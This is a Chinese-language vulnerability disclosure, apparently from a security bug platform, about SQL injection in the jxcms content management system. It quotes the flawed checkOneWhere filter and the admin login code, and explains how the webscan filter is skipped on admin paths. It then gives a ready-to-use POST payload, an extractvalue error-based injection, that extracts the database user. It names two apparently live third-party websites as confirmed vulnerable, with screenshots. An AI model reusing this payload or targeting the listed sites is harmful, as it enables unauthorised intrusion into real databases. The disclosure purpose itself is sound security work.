### 简要描述:
底层模型解析出错,导致大面积注入。
这是真的注入,真的能注出数据的。
无视新版添加的webscan.class.php
### 详细说明:
找注入,上来就看sql语句是怎么处理的。
jxcms的model调用数据库操作无论是
->where
->find
都会调用/jxcms/lib/core/db.class.php文件中的checkOneWhere函数进行组装与过滤。
```
private function checkOneWhere($str) {
$tmp = preg_replace('/(["|\']).*?\\1/s', '', $str);
$tmp = strtoupper($tmp);
if (strstr($tmp, ' BETWEEN ')) $tmp = preg_replace('/ AND /', '', $tmp, 1);
// 不是单个条件直接返回
if (strstr($tmp, ' AND ') || strstr($tmp, ' OR ') || strstr($tmp, ' XOR ')) return $str;
//主要是这里,发现AND OR XOR就会直接返回,而不会进过后面的parseValue()函数
// 规范化IN
$tmp = strtok($str, '"\'');
if (stristr($tmp, ' IN(')) {
$tmp = preg_replace('/ IN\(/i', ' IN (', $tmp, 1);
$str = preg_replace('/ IN\(/i', ' IN (', $str, 1);
}
foreach(array('!=', '>=', '<=', '=', '>', '<', ' NOT IN ', ' IN ', ' NOT LIKE ', ' LIKE ', ' BETWEEN ') as $comp) {
if (stristr($tmp, $comp)) {
$t = explode($comp, $str, 2);
$field = $this -> addSpecialChar($t[0]);
$value = trim($t[1]);
if (is_string($value)) {
$first = substr($value, 0, 1);
if ($first == '"' || $first == '\'') {
$value = substr($value, 1, -1);
if (!stristr($comp, ' IN ')) $value = $this -> parseValue($value);
} else {
if (!(stristr($comp, ' IN ') || (strpos($field, '.', 1) && strpos($value, '.', 1)))) {
$value = $this -> parseValue($value);
}
}
}
return "$field $comp $value";
}
}
return $str;
}
```
这样随便找一个可控的find()就行了。
另一个问题:
webscan.class.php
貌似是最新版新加的,不去绕过了,直接找无视的方式。
可以找到jxcms/common.php中存在:
```
import('Lib/Core/App', 'jxcms');
import('Lib/Core/Base', 'jxcms');
if (C('WEBSCAN', 1) && !defined('IN_ADMIN')) Webscan :: run();
只要是后台操作就不开启
```
那就去admin.php文件调用,此处当然不会是后台注入。
就是后台登录位置即可。
```
public function login() {
if ($this -> isSubmit) {
if (C('captcha_admin_login', 0, 'member')) {
$captcha = new Captcha();
$captcha -> check(trim($_POST['captcha'])) or $this -> showMsg(L('CAPTCHA_ERROR'));
}
$memberObj = M('member');
$username = trim($_POST['username']); //未过滤
$password = md5(trim($_POST['password']));
$field = array('userid', 'username', 'password', 'email', 'lastdate', 'groupid');
$where = array('username' => $username, 'groupid' => 1);
$r = $memberObj -> field($field) -> where($where) -> find(); //where直接带入
if ($r) {
if ($r['password'] == $password) {
// 后台登陆信息
$loginInfo = array('userid' => $r['userid'], 'username' => $r['username'], 'email' => $r['email'], 'lastdate' => $r['lastdate'], 'groupid' => 1, 'role' => $memberObj -> getRole($r['userid']), 'hash' => Func :: getHash($username . $password));
// 前台登陆信息
$userInfo = array('userid' => $r['userid'], 'username' => $r['username'], 'email' => $r['email'], 'lastdate' => $r['lastdate'], 'groupid' => 1, 'password' => $password);
M('member') -> setLogin($userInfo);
$_SESSION[C('DB_PREFIX', 1) . 'loginInfo'] = serialize($loginInfo);
$this -> showMsg(L('LOGIN_SUCCESS'), '?a=defaults');
} else $this -> showMsg(L('PASSWORD_ERROR'), '?a=login');
} else $this -> showMsg(L('USERNAME_IS_NOT_EXIST'), '?a=login');
}
$this -> display('login');
}
```
### 漏洞证明:
后台登录提交数据包:
submit=1&username='testtest' AND extractvalue(1, concat(0x5c,(select user())));-- 1&password=testtest&captcha=ckxn&subimg.x=32&subimg.y=24
这里是不过滤的,所以里面的语句是任意的。这里只是举例,注意验证码。
本地最新版:
[<img src="https://images.seebug.org/upload/201503/311700007d91d78ad0a426b1d65f155627cbaffc.png" alt="1111.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/311700007d91d78ad0a426b1d65f155627cbaffc.png)
http://test.tzks.cn/
[<img src="https://images.seebug.org/upload/201503/31170141c7647fe15988f96f2bea25a5e71633aa.png" alt="2222.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/31170141c7647fe15988f96f2bea25a5e71633aa.png)
www.gsdedu.com
[<img src="https://images.seebug.org/upload/201503/31170324d1af271c29fd6ceafdb8927ad42bcbea.png" alt="4444.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/31170324d1af271c29fd6ceafdb8927ad42bcbea.png)
暂无评论